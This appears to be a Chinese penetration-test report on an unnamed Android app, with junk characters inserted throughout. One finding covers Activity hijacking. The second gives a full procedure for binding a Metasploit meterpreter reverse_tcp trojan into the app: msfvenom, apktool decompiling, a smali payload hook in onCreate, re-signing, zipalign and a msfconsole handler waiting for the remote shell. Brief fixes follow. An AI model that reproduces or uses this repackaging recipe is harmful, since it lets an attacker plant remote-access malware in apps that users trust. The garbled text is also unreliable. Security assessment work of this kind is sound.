! a# _4 R5 G+ |) D4 z) M # N. ]9 {8 E! q! O. B4 o- D8 }
' \: O+ C) D; q; v% t& K$ i+ Q7 P% k5 s, H
表1-2 测试结果 ) C: @8 b+ q) r. q, N
C$ I# L' O. r7 q
/ {2 c+ p2 k, K' |# s) S2 Q
/ c0 ^2 @5 Y4 l( F 2 b% {& e) f4 T6 Y f2 s* n, f
6 O h: ]# C" P6 a
! k( h( u# ]% |1 v- e5 \- I) V) c8 g& N2 j2 b" t
$ A U, l, u! h( G# v# `! V+ i
6 Q( @6 A0 w% Q. }0 Q* r @& Z ) i |. T# g# ~" z! I# G
) m$ g2 G8 v/ `/ C M; c2 h 2 检测结果
6 u6 H. s' u$ t% O% J2 m9 ]) ? p' n. S+ Y) S
" ^8 Z+ J- W9 p
" A. s/ X6 I2 r1 r% P# y
9 e( p4 r8 ^$ T. D' s3 K& h/ ]/ I5 J9 e
2.1 某某某 8 W/ ?7 ^9 |- t- d- r
2 f, h6 T5 Y* h9 u- W3 z) {& I* x
8 t5 u$ X4 l) L- C" o' C8 D/ Z, |, ~+ B* T+ Y* o3 Z4 S; \: P
8 }' e, \4 f$ }3 R0 f4 @' K
" \ a4 Y" v2 j0 y1 x" n1 x8 P 2.1.1检测目标 , B6 O' p: |% K3 h* I( N' x: W
1 O4 v9 H Y8 c2 v; ?7 E) ^
' a% i1 d' O \8 n- o0 z; G
+ g9 {$ O" w: h9 t$ C! @
" H* c8 _) }" s. a3 B9 P+ o. F! O6 `4 ~$ I. A5 h. |. r( R
目标地址: 某某某某某某APP * C/ C0 M L0 S- b! q. O2 _
4 ?3 e2 e% U0 G+ n% O, K4 T! g
' I# R) B" E& ~( y& _* k. J6 ~8 g2 m6 l$ ]2 L
- `9 x& I9 z/ l& o" @
) q5 T9 u/ k2 u
2.1.2检测结果 . m. e5 A( ?& C
6 j: p! x3 e, _) R p" t
1 n0 p: }+ I7 r i
# H1 ?5 k; j" [: {, f) F2 J8 U
( ^9 |2 ], U" Z( }+ s
7 X) O" d2 [4 b2 K3 { K* c 2.1.2.1 : G9 |* F2 i! p6 n" P& h
3 S( o' M7 N) ?' f
( H8 [5 Z: U$ G5 i8 u# x) O$ u$ S! z
* i2 j* }& U3 D. M" k+ p
6 ?+ \/ T) }0 J 漏洞链接地址:某某某某某某APP
1 a" K, ]0 E/ l
* V v. d; C& }) S- R# @# v
* `: P, \! r% |& B4 r2 I" w
" a) t0 P5 k6 } Z- e& w
. s! C. M$ t; s, p6 N3 z* I, J0 {- C. w$ _
4 t! {( Y& c4 H; N& k7 G# k" s" o4 Z8 |
0 c4 ^) U; |2 H/ M- b' {5 E& r* b( k' c( T6 A& U- T+ d( F4 {
$ l$ n S; y9 N! Y' |3 I! N% @8 f
& t& _& p- v% g 漏洞分析及取证:
- }9 N& ?. `5 A- {- q( m! e% l; v/ V9 Z7 a
+ O% i) q4 q6 r
& _: w o5 x/ f- K' T, q
4 R; h( B( K9 I, {
/ X# z/ y& g! p- W# l 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
' F' m0 b3 w8 H2 z4 x& b' T% l" ], q+ A9 `
" H8 K! C0 N$ t: I) q4 s B& F0 o) a7 F) l8 M( z
6 e7 f3 `3 @2 p {! I
$ _& r+ n/ A% I! O
$ Q, A- P; T& t4 m8 T) g6 g4 {2 P, c& |! J1 O. i% G
0 T7 U# h% c1 |. M9 B0 E! _" o
$ o: F' ?) ? [; N) Q$ p* P8 d$ {
: [, `- n9 N, [9 Q& d9 c1 \7 C% g5 J
/ m& Z$ x( r( Q$ v6 v % L1 o6 p) t# l5 w- o$ x
4 @- {; g8 Y* M/ b3 ?5 p' a
# R: ~; a, ~& K+ w; \' @% R
3 x1 H8 P3 y1 t {8 W ' h& M) s# B* ^0 H
* D+ s' k9 y; S- M! e% A2 l
& G* E* h" V" }( `. G/ P
( p6 j2 g9 |0 o6 y$ H7 c
( D: m H+ l' t
) m. h) p) j. q% g Q, f
$ P7 o/ T V! ]. S `3 @( V, ^1 v" E H, W4 V8 X4 m9 x# K- x8 Y
z3 L! T" f. u4 l4 D
/ Z# F+ _9 j4 B" W
5 V" l6 s. E( D5 |$ J3 z" ]" U1 a
" I4 L( L0 F$ |! M! l4 g
, l! D: h- m. q1 }* ^/ V1 g+ m; O( m4 P* O; F- z6 z, b3 z
/ N( i( M S8 v9 e# e. b
% ?! B/ R$ k+ D8 I
, `& r! A- B" c( Z6 |* |: r- ^ w! K1 n& p/ m
- _" O, F( }- e7 A3 X/ \1 m
2 I5 {- z# @( G V$ ]4 H4 k 漏洞危害:高 - u9 E% |$ w! f u3 q. v$ c
$ M/ N" L' j4 B2 d: b* @2 k9 m
+ F/ V6 E" A$ u! R7 n9 h
+ U- O7 L6 j& c1 S - L0 W& K" {0 F e
" N& Z) M) _2 u" ~' @
& l( g; _3 X. D% D9 W
* f+ r4 a9 j3 P& c. z
) O0 {6 O4 ^+ o; x1 }3 @3 X# A( h" W) P$ g
5 J. h0 e! T& l0 s4 Z0 \
/ t8 @4 {* E$ k/ F ( Y1 Z. J5 ]; ~ @
' U. E1 E5 A# n
- s( a+ a# W( a/ f) I, y% Q! z
7 q8 q Y' Z6 k+ L* D. M. { 严重程度 6 z) z/ B7 L4 { A
3 g0 c3 d5 n' R
: w+ H7 c2 q. r: P9 `1 l5 U
d! w8 j! |1 S b6 u
|
. K% S% ^( O/ H% K1 P4 O9 b' q1 j
5 }% W; v3 R" }1 x9 U# i
& V: i1 Q" e+ m1 N
, Y \3 H+ U; O& U
! T f- x. i b I7 D Q
% e' N7 g( \8 Y, d' \# d 高
! E3 H( C8 j! `
$ O$ B( w$ l4 f6 `( [! r: {
6 [0 Q! t& r3 J6 d3 b' `9 E$ `5 \3 v. m Z3 U. Q- X
| ; P: P: w* f5 L1 o
& p3 g7 R# ? o- c 2 @0 ? o6 N. }% B8 w
' c, i8 Q. S' m5 S6 A
( i3 p% }4 {. A' L
8 J6 p" i6 a1 m5 e' ^
■ ! u6 G* r% V5 l
, J# \8 c2 x+ |! {
* L. X& E9 j5 K4 p5 f
7 [, C0 }4 e' V0 v$ p }+ f | 2 a& G. }/ I! Z8 \; P+ K% N' d8 q: w
! y2 t }* H6 j1 G- A( Z: q; K
8 p. t0 m L: P( M/ a
# o" m& ` ~7 u* i 5 e7 p7 ?5 f; _2 e
! e; u; z' ]8 \ M! o
中
# ]: l" u8 S, l! @+ R9 H3 [* V1 F5 ?; y. A% N
- I1 Y6 S+ o' \9 J& e% [0 p7 P& G, N; |' P; ~+ O
| 9 |/ E4 [8 v) p: @8 |
& t% t, x+ [/ D) f0 ?, j4 d 6 M, F' ]" `* T! S i$ V
1 B$ j( W& {$ j+ e' N% y+ T. p5 I" m
6 n" l/ U ?) G1 e- e: h
" }3 Q# Q& x0 P6 g 9 k# `$ g0 a+ j5 H$ B
' w& ]$ k* h7 o1 p) {; Z! j
" E0 v) G- \6 R7 B. x* ] ~8 G* W& G
|
: Y/ I1 I$ p% P/ ~8 x/ q% t$ O# z' R) t* T
3 G" P" Q- _' u# G5 X4 p H
9 \- n) F7 o _4 z% {. N/ Z2 G
5 j/ e8 `9 j0 l' M5 M( u' x5 ?
- ]- }/ v" Q% d. y 低 ; x! l1 i1 U' X5 ^( b0 g2 t& O
p/ }/ m% M; K9 J' K8 ?; x& k
2 H! y& ?. w' J( ?' r9 T- h6 l* t- {& }1 f. d! ~6 G- v" g+ Z3 r
|
5 Y8 ^, s H0 }# b& g
0 d) C6 h+ |, [% u 3 a6 B7 V2 x) J- G" g+ U
2 N d3 j2 E f$ Z3 G+ d& b+ r
2 H5 H7 G. R+ u% Y1 L
% y3 k* y9 u, D j
3 u7 A9 @! \$ A2 S/ O+ D' M; w4 n; i1 G4 e1 T
& x- r1 `9 |, M' Y, P* r. `/ s0 D3 ^' _. @! I
| ! G. Y" V; u8 @
! B# R6 Q1 K6 s5 u, E5 b) z
$ Y. x$ H* `9 {1 V/ \( ^
7 o; z. e% A: j3 H
2 d0 b d/ o6 S7 S. ]/ [( }3 y0 o
: S6 O% E. X3 }7 D
* h/ O6 y5 V7 @6 X( [. ^% |
+ ^3 `9 w! I" K) r S
/ [& F/ G: A. [+ p$ v) k4 d# W9 ^& v- q- D o9 u& K+ ?
1 ^5 \* N# |) y, X9 z6 w
# n ~, }" D4 D9 C6 y
1 Z8 y: y* }3 O3 a8 [
, o2 H+ t8 X8 i' Q- M7 ?- a
# ]5 [" |: I# A" D
2 h6 r) f( H' U; o/ F
2 `6 C- |) n5 L2 d2 |
- L' O! j- u2 [) d6 k2 a& x
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 / k/ T% F n* ]. R+ g% V: A
0 x3 d# V5 v: p9 ?
* G% Y6 M9 N1 e8 h" A& l5 |" x
" g8 k; z; Y2 y" v, V
0 Y$ c" b K+ R) Q
: X/ q- H) p3 W& s! E
) h4 d6 I Z! \- t: s( j9 d. D
1 X1 P6 k3 z3 o9 U
! J. `0 S: M' ?1 J7 y7 g0 E/ o3 b' B6 \- K8 F: F8 k7 q' n
2 o: Y& }7 U' k* z& `
8 {* c* u- U9 H* D$ O; \- N
/ W4 S: f" z6 p5 s( C
: O U1 {( m3 T3 u/ ~
) v/ h# C4 Y; S5 e- h5 d% H9 e
* x* P& |- ?8 m% w- M 6 @' J6 S7 ?% i$ G
5 f$ k4 y' P. X- g+ u5 G
2.1.2.2
3 y1 P/ j' W1 n: G8 D
$ w" B' p. H% o% u
0 T% P0 V4 \- G$ i) D. v" n
# N0 j u, e4 R+ l : {+ X( z8 d. S. s' c5 C* _2 k# p. m
, M* I$ H j3 C2 D8 e0 ^1 E
漏洞链接地址:某某某某某某APP
$ I* v( }' H m7 m
# ~+ ]( H% Q$ N! ^! p
$ J1 z+ y2 F) y4 s% G2 {
& u$ \/ D4 F* [+ c5 U% {' T& A# u
. y* ]6 g9 v8 J
; M, E; L0 z& Y; g0 r/ f* f 漏洞分析及取证:
, d: j5 H3 F s/ {$ l0 ?/ V0 Y% G- x3 e/ S
& C& B$ ~( o r, ~
0 C3 z! H1 L5 N K
2 m9 S9 B P) r I5 y V, c+ y" _. i
6 s0 `3 W9 a/ X: {# ~# k, h 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 4 r- W$ u0 `4 `7 M
) X% p, a1 q1 ]' C$ q
$ z" c% w( A& p' J$ w
/ x2 U' S$ x l" }6 |0 V
, W6 @( B/ p7 k+ Y, v. |
\4 R, K' X: j$ U* U& R* _
用Metasploit 生成木马 apk
% l8 q4 c) L5 S. R2 f# C6 q. Q
% L! M% |0 Q- ?/ Y9 X
3 ]+ J2 i: c% `2 m! a) d' [' b( F% r! x' A# d# `4 {
0 N% X/ Q% K1 X+ {/ H/ h+ [
- q8 y3 F6 u; Y( f msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk , u4 v0 ~7 U7 f' K! M
; o% r& v5 B3 k# Y
4 }" O- x+ g9 m. w4 t
- S( A3 f& h0 L3 N \6 S- m
7 u) g I# N9 S" v/ b o
* e5 m6 q/ `! s3 S 反编译目标apk和木马apk ; C9 M: Q. x R- P) z
2 `2 e3 f: Y+ m8 v1 X; m: M
+ u: h7 ^; `8 Y' f; p8 c0 I% Q1 o4 A" t ?5 A8 Y: I7 _( v
' g: u, L$ ]5 R5 {( o$ u
! Q ~, z# c5 B3 w2 a0 P" {7 N apktool d target.apk
9 K! h2 P# c A) |# l
! e7 v8 C3 v2 V apktool d cockhorse.apk $ w1 f3 F3 U, D) \2 r% q
/ L) T0 Z& H5 C/ N
5 f6 O9 ~" K4 k$ j' N. U+ _, ^' W# `
: k. R7 g) D8 v1 N
7 @1 F1 }2 \5 X2 D: G( D9 D' N2 t$ _+ g
木马 apk 注入目标 apk
K& b6 x7 j [- C
" i* U9 z- I2 {: X" C. M i
9 T/ X( L. Y; t8 R
, ^! @" Z3 `( @3 L
. R8 D6 k7 m4 u! s3 H: {2 u
j. i% M( u( x2 y; ^ 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
# B& L: ^7 O$ m" G+ ~, x' E: h& s, V8 F: v( B
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 2 ?% T' u4 O" _6 V! N
6 L2 z+ B& N5 L8 e. ]
S( n' g- x% {1 N) e$ B; K9 P. l. E" }$ @ f
* ^2 P, m! O0 u( |8 L
- E" z9 R1 H' ^) {& j: R6 u" W 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
$ X3 R) r; D' q' h8 N" b
5 _6 E+ C% l q5 p" ~
% M c6 n) f5 ~* I, E! y9 K' i& x7 X6 X
; }& h9 f! r; ~9 E; j 7 z9 e+ ~* l+ ?$ I
. ~$ f0 X, w/ [7 g5 O9 z0 D( T 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 8 o6 g& `" L3 @6 K
/ T* X9 z7 Z$ o: M
/ m4 w8 s3 l/ n3 F; l5 U% E+ X0 G$ l+ b/ l
( Q+ G( Y( U( l; o% U1 [$ c
2 m" g, r8 a0 w0 k; m
回编译生成最终 apk 4 H1 S/ U0 `3 S
8 g, ?3 i9 y$ B# ^/ v
0 s1 y2 V9 [$ T/ m. I, D
% m$ R M$ e; v. W7 x2 D! L- j
& f* }2 J0 V3 k# }5 d, @7 d0 R* J
$ F2 B0 D* O: T3 p' }9 R6 j3 t 重新打包 # ]( B$ o! @' b
' l$ X" R+ T$ W9 d( a ]" q
5 B. K: _+ {* K
' q) q" x1 o' L' `& B' |. y; a
( W: y+ M; y/ [: d
4 G: I+ u: }0 L1 x8 O apktool b -o repackage.apk target_app_floder 2 X& v2 A; y" M0 J& ?" r, J! e
7 ^9 D2 h8 h* t$ G B+ S
# V3 C2 E6 t5 U
( Y- c1 E) i1 I3 B 6 k) _1 S& Z' o. N9 x2 H
( X! Q k7 U5 A) y$ h0 d, c3 c) j 创建签名文件,有的话可忽略此步骤
& s. j6 }: C0 C- s/ R# i5 [, B% D, J3 N) ^- P
3 _5 z6 p4 p2 d$ O7 ?, F
" G4 M$ f U7 ] ?( R$ @
# S2 N& _) k/ c; ]4 B/ d
& ?! b/ I: [$ E keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
- G6 f7 T2 H. C5 `$ { _( ^* n/ x2 t% |# K/ B
% i# R2 d% r* m) v: t
! V" v3 y5 C" l
, r$ z+ |; i% h( g# `) T; N
# F3 P8 i; t. }
签名,以下任选其一
' ]. ?4 ~ }: _( V
[/ ~& O& G0 d' {4 f* b
/ L# f; N: W$ A3 J) U
3 A2 i9 ~1 h4 R
G3 n; q- m# S# u5 v4 @. B$ d
! j1 B9 D. O3 k4 U3 g% b
jarsigner 方式 % N5 }3 N; p; i- j3 T. z
9 @5 c. K! r$ [$ t
9 w* P0 G6 o3 i' C. j
3 c5 J: R ^0 W+ Z
/ _0 w5 h2 }* Q3 Y- D) _/ m5 q$ h& _8 l; c9 p1 K
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 0 X4 K6 J: o" ?0 f5 E- z* l
3 _! U% ?% l: C! U
8 P* j: K f/ m" G( z2 x* G
7 F8 j8 N' m6 o7 h* N! o% d1 ]
4 y) E4 u* N q4 f0 N+ A6 p
2 d. S7 C3 F8 N2 M$ Q9 w apksigner 方式
1 m: f" ^5 M1 _: a* q0 R" g4 V7 S4 L" Q" m. |1 I
& T0 ]3 L! H& r
. B# A9 V$ I8 S1 t, Z
+ e9 C# s, |7 l$ E
' ~7 Y( g! ]; X$ d
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk D' ^1 r0 e! H. ?0 ]
" I Q1 ], z+ R4 Y4 t0 p
0 F% c2 @' g- D9 O9 ?- c$ p
/ W, n9 g' O3 w9 D5 l; H
7 C) I% y1 `, m3 J9 P N+ V- P5 i( Y& a6 h5 [0 q) L
如需要禁用 v2签名 添加选项--v2-signing-enabled false
, ^" T1 N% \9 l$ A
$ `3 ]2 M9 o6 M( a5 Q: C3 g
" T P5 C8 U6 e% u9 C
4 z6 ^# b6 q9 ]; v4 | 6 }* V3 ], V6 z9 u% k# t7 l0 h
% x u: h6 ~. {! l" O6 D 验证,以下任选其一
8 c+ H' I5 d4 G( K& t! j& m5 a/ ]. c, ^! [ k" `/ ?
, h3 x* g8 ]2 h3 s$ o# q; N- k. ~$ `/ |! E7 p) J. X
+ M+ I0 b+ b, Z2 b) w) W
" _9 k: Q! X' A jarsigner方式 ) L: m; y" K5 l4 i% e9 a
5 I, X2 G3 a7 f" A% G
7 R0 x6 h. w6 H. n
% x; L8 p/ x2 }. N
* E6 C- I2 L; i, H( S1 R; v% q1 T
% C0 ^5 c8 b+ ^7 O jarsigner -verify repackaged.apk / L9 ~& c, V2 `
% W0 n/ Q( A3 T4 |, q
* D d7 N: \6 d* D) q
+ d/ u( k$ p$ P- n$ e7 @ & B/ m- g/ k$ V( G
2 G1 m4 k* J1 {1 A
apksigner 方式
* U8 N1 H$ C% W* \, M8 Q- I2 }$ o5 Y4 l0 P
( F+ `- h0 o! n3 N
/ f/ R6 N* K* A9 R& ], ]
! b" [( E/ D3 x; O
! m) |" q7 ?' }2 v apksigner verify -v --print-certs repackaged.apk + A2 m6 D @: R
* m c7 c. |4 k0 |+ z7 t; Z# G
s! U. E) a9 Y7 Y+ o4 L' V, ~
# |7 L* T! D& G
3 M' O( p7 X& _2 c! T
8 f& Z2 |" e3 t" ^( L' ^ keytool方式
' C- }1 X5 Q' o& }$ f: ^& x
8 z( @0 ?2 O. F4 k# S5 T
% w% @) {! L& B0 u$ H% O
6 j+ E% G: Z# a9 }2 T& S; \
3 d j5 S4 t, O
5 D, H$ i- B- K8 n z8 L) b( p keytool -printcert -jarfile repackaged.apk 4 e- ~7 O& @4 h2 S/ ]
* y7 b! G! a- \0 T m9 `5 k9 x
5 m8 U& q' X+ B& q. G2 `, {# p8 r' i6 ~; c
; p3 _3 Z+ j$ F! P8 {' [% ~. j3 B; U1 X: i) ]/ K9 G( W
对齐 4 R: R# M8 a7 {
: b! @ m O6 R6 _$ k9 ]6 {' d
; c1 v) \+ `5 k5 x: G/ i
" C4 X' E/ V+ M7 M+ g: d4 P " ]8 t/ N* g0 G/ k" V3 |
0 Y' @4 B P2 f( y
字节对齐优化 ; J% X+ N$ H, H/ r
' {1 P$ s$ D2 E+ h& e5 p/ z
* B2 E3 L7 R0 e- x* |: \
9 k. p# Z2 c( K+ r" E
6 E9 H- D2 M; ~1 _5 }3 p" E: e% z
% n" k$ |0 m: [, }4 J% { zipalign -v 4 repackaged.apk final.apk
/ l9 O) i. m7 M
- R& E' X; V4 A* d, p0 l
9 P- n M: C# }) H, R" K' Y4 D
0 k( [' l$ @2 ]0 K ) n4 N/ m' ^; p- c
' f$ ` l, ]* d9 ], @/ b3 J+ |6 X
检查是否对齐
( u* G. r7 D m* R+ y F( P2 w
$ U) I, m. w0 F6 \! m% I
' k- d9 }- t: E
G* X1 z' L2 G3 {, V
! b. [0 A2 e2 ?9 i1 X- b0 [# Y( x" y/ @4 |3 k
zipalign -c -v 4 final.apk
; u( ?' Z% v: ]/ M7 N
6 R+ r+ E" l3 g) d$ \( T& L
! j" f* s/ H3 K8 _
: `) Y2 Y9 t- ]& b6 H$ C; c % K( U( c2 m9 M% a1 Y
8 [+ F1 ^. @0 n$ h: @ 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
( K8 B5 s a& k( O5 L/ Y
5 i6 R |0 s5 B- B( h. [
# H9 W1 P9 b$ L! q2 D+ c) d
( Z4 [8 F# F- b% K$ x5 r1 H
3 q0 T8 O5 i4 S( }, z) g- o& L
9 Y }1 o2 W) J/ {5 d2 B8 R 启动Metasploit控制台,配置参数等待上线
* M% K9 B, E/ d" h' Q& u8 D7 K! J% }* i6 F! y: i$ B7 ^
2 d; c- k* |5 n8 V; d/ Q% p: v( B) i0 U7 A2 H M3 ?3 ]7 B( ^
% Q. A2 K5 r% B" s! O- @
& B2 W. t4 M; E7 D; ~/ Y' l& C 在终端依次输入如下命令 2 O8 _+ `; u7 s! @% u. Y
# c. l3 l" E i0 q
/ m1 m3 d* A* W
3 d* S+ M3 E* F# ?: Z . |4 Z/ j5 N% I9 O% A' _
& f2 _* B3 W7 C- h) e msfconsole
0 h! _3 o p! w9 U( b
0 L# c; `0 G4 `4 ^; L
# D% f4 k* E4 A; H$ p& R: t
8 Z8 v, ], g W6 o/ v# K$ v+ ^ 9 q8 c6 T' O7 _! x
& L6 C# V q; y W9 D. `6 h use exploit/multi/handler / N0 G# a& a% L
" Y9 H6 i" H4 f- [! _2 x
[6 q0 K. _$ j- L1 r+ M/ Z
$ h7 h4 s" e! y) o5 {) g
) ^4 ~' [# `9 O% M- k
( U- L* H" F$ X6 E3 m3 x set PAYLOAD android/meterpreter/reverse_tcp " K7 Z2 W' R& @2 \3 D) ?, v& e0 S7 C- E
, l3 ] Y& C. N: l8 r! Z
8 q: |* B: Y, P6 {3 ^! ?' T0 t& v
0 Q( T, z# o8 J1 V2 [- }7 [ ' C/ ?1 J1 L$ }) P3 T
7 Z4 E( J) z; ^2 d9 g set LHOST 192.xxx.xx.xx & @( e. [1 k1 q" k* F& l
2 Z( `5 q! x' p e
( O6 V" R; o6 S, _1 j
5 S& b: J0 F2 @$ m# W! k1 n) y ) o4 N8 K0 M2 t) F
. I& `3 g0 ^, N/ i1 X set LPORT 4444
/ h3 p# `& B$ _( W, \" r. r; J$ ?
& x+ Q, n6 e6 d: B3 Q- Q
% Z9 d0 Q% c8 g; w
# B' y+ G8 l4 E7 z' Z1 e7 P * P0 i$ x0 X# v; G- v8 b
! d) A- x7 K$ s0 n9 C
exploit
, H) z# v+ Q+ i) G4 h! a
1 L8 U7 m4 w; P; C4 z* v6 B
+ t1 }4 g0 C3 a
* H& y, E: X Y$ F) D( l
. G- ~$ }3 j( |6 c) o( y
% K+ i, F8 ]0 T$ R9 ]7 L 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
1 ?- V5 d+ G( P# ]
# B; Z% d# j7 b' O
* Z2 C) z" k, e" x9 W; l, D
/ k' j! O6 K- b+ e; O# \: O- v2 Z) _ l
& ]2 E/ ]% c7 E* C2 H/ g# q# M6 E' } l& O/ ?2 e
漏洞危害:中
7 T6 ]" [& a u; T. d7 v) s# |2 p8 ]- d; J% U- @
! ?, L8 r& `" _, Y7 ~9 o% [
( r$ \- b V H& u. H 9 `! y. e' w; u: J+ r: h
7 `+ p# D, R( ]6 T
4 _3 g' D2 e( K! Y4 W0 y2 m
8 W6 o" o: r6 n$ {6 [ 5 c; ?4 |: M' w2 Q9 D1 H, X
+ R! X8 E, f7 W3 D( Q5 R
4 X1 A9 X- P! ~! [
+ F5 @! _ ~" e- I / E: C I" D# _# s& {5 o8 w' b
; j/ }; m) y+ ^! t" F
& S6 N5 W N5 [ l, {) M2 x! x3 k3 {. T4 F( M- |' ^
8 L7 \3 H7 c' W! ^4 K' r8 s
3 Q! d W9 [' t1 f- T9 U
严重程度
8 }# I+ m( T& i# V4 Q* z! g
- X: H" j5 ~ W $ r# d! l6 s4 Y8 ? f
' l9 y& f4 _0 ]( q
| ) ]3 B% S& @/ R1 o* j
$ j) i+ `; M* k0 t" Y
/ ~2 Q# I- l0 \7 f
. Y* m5 ~4 i; K5 V: b" {! B1 P 9 V9 t. d d: G8 t3 E
/ v. _5 w& |8 A+ Q5 L" |4 W3 ~
高 9 q/ d0 V+ S w6 K/ y- g! M4 G; m8 X
0 H0 W$ K; S5 D8 o 4 u+ S4 z( E, M3 t" n7 \6 ]4 u& I) r
0 k% n$ p% d- j. ^- O) y. h | + L6 v5 c" ]3 L1 j$ J# z' r, c
) c4 e* \1 J- L- G5 |" a : Z: ] S8 u. \; O" P7 H, g8 O
& r, X- b& j6 P2 y% H9 e g / i( R/ P1 {3 m0 v$ I4 v1 }" ~
- n- }7 i9 ~8 D! w ■
3 O) a" r0 o+ R G1 L: e5 b5 h4 ^+ m
8 M. y- g0 [4 I8 `. S* ?3 {: c
! I8 T5 A/ ~2 P* y
|
( B' q1 i1 W9 l; X5 ?8 c" n3 g
6 z8 D3 \" l9 x' x4 W* D$ E
1 q; m& {, Z+ d) R) W9 G% j; T- a2 K4 e* _: d2 d3 I2 \' E
% N) K+ U. V0 p0 I
' l6 e+ z6 z D! n9 d! q
中 / V$ T$ W, B& q- ~
4 u( X) S" z4 h3 U% r- v% F
& ~7 Z3 R5 k* E$ G1 K% d* f, X+ Z) L! w+ N. |5 u( i
| - W0 |; W# u5 ?4 e q
r1 Z/ |/ K. I/ `6 [
, ^8 w6 }- [9 e4 u
, s0 i3 W' \9 c
' P) k5 w( I- n- Y+ K: A Z) e# T" r9 {3 y* K
: M B2 p8 D; T. L% q/ R# D
6 {* ?5 k: J( a3 O: W
N% Y3 @+ W' o) Q! G9 W& e6 o* a; j% o, n5 t5 a; u- T" \
! m' `2 j' K0 w0 e; L" f M
9 W0 O# v }! i& p1 ]. F, m | , v& H f' ~( [1 l8 g0 u5 P4 y
2 @7 ]2 Z7 w% D% ^& s: ^9 U 9 m* l1 h4 E: x- U
' e$ F* d7 x8 | Y' g
0 U; o$ J- T* z
: X/ X( o3 E+ Y+ n0 d 低
8 ]6 G- s& b3 l& K1 }# I2 B: \4 l; e$ W
" x9 u1 n' I/ v& \
% f, a' R7 F P. y: k5 y; Q |
m$ M& y. V1 X" G3 ^5 I& ~; z: E2 P1 D" _& j3 x4 e. o
9 y3 p6 }/ \* ?) E
1 p" {; \& _% F8 ?4 s2 L8 A% n) R : l4 r+ A, @& x& s% V% z
; j1 @8 q. u7 E9 Q
4 ?) Q! S4 h! T% H2 p/ o
9 u) T! e3 d z. q1 T # ^! x% ]3 {# w" u+ b+ W
~: h: q r ^" f$ b: s# C
7 r8 o( E4 @/ K q1 n9 o; e5 f/ `; j$ m5 C
|
5 \, o% b( p2 C1 f( } L K0 u6 G: t9 j1 h$ o) J
! V7 e3 O8 k7 g! d& h* |* ~; N% y \+ n, g( T. S% n o
/ S' E8 N+ W& P+ c! `- O9 R/ Z0 u
% G" P" v/ R, ~- o( w, O! L; w
T% E k" Y+ A1 _4 N" H; w. p
' H" K: i+ e3 w * ^# P% D5 y) p; C' G% @: l$ G) F
6 B/ u) o' D4 B
2 q; b* T: q, e+ I
$ ?. Y% q+ w U6 o% J 6 p! {& q% s2 N1 ^. s
. I, ] X" j D0 X* y
+ D2 L+ S, z8 `. U" X$ V
% M% U- s& v, J* g4 m$ O- B( W
+ H$ _* I) r0 {' F" x! h6 ?* E- p& ^$ ?, b& b
修复方法:
. I/ l& E4 J# M% K& l" y- C4 B. s% f m" B& |" W2 r
$ J* j7 J, ~; @/ J
3 X7 c0 R/ J, ~( V9 D9 T 7 E2 q7 r- W" n! E( O" A: n
. l3 Z" [5 y& m0 n 1.在 APP 启动时应做签名校验防止二次打包。
c" n7 [ P) _' {& x* z6 p# w
* s5 ]1 }1 Z' h# u- Q, k- b
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
9 l, q: C% k; B1 u2 g ^
o7 p4 g- _! S0 L. ~' D V# k
' T) q. i6 A7 Q: [. l
# ?7 [/ A& \( q* c6 k) q
% z6 }1 T6 L, u! s' _
* Q5 ]! l2 x) p; J
/ g8 ]9 Z; v& s( G2 E8 B
# D' r/ _" N) T W* V! I
* g& b2 s4 e. G5 y9 b9 s, y, b. k# f j6 F" A/ k
; [% G1 X& t! d& u' T
# g! x5 } L. q( B8 f 4 j) D" D4 ?8 m4 }: Z0 E- B- e
2 ~# \& D6 s& ]$ h. B$ H1 c" n
3 i1 W7 P3 A/ }1 f2 @
( Q8 D1 W! r) L2 Y, t$ g
* R# v4 \8 \7 a. A9 X [' Q( [
+ |& r& U* ]0 B/ C: @1 O( X, L1 ]$ N- [; }
2 g) |( M9 q8 n" `" Y( z6 a
7 D; }* Z4 G% z3 \( X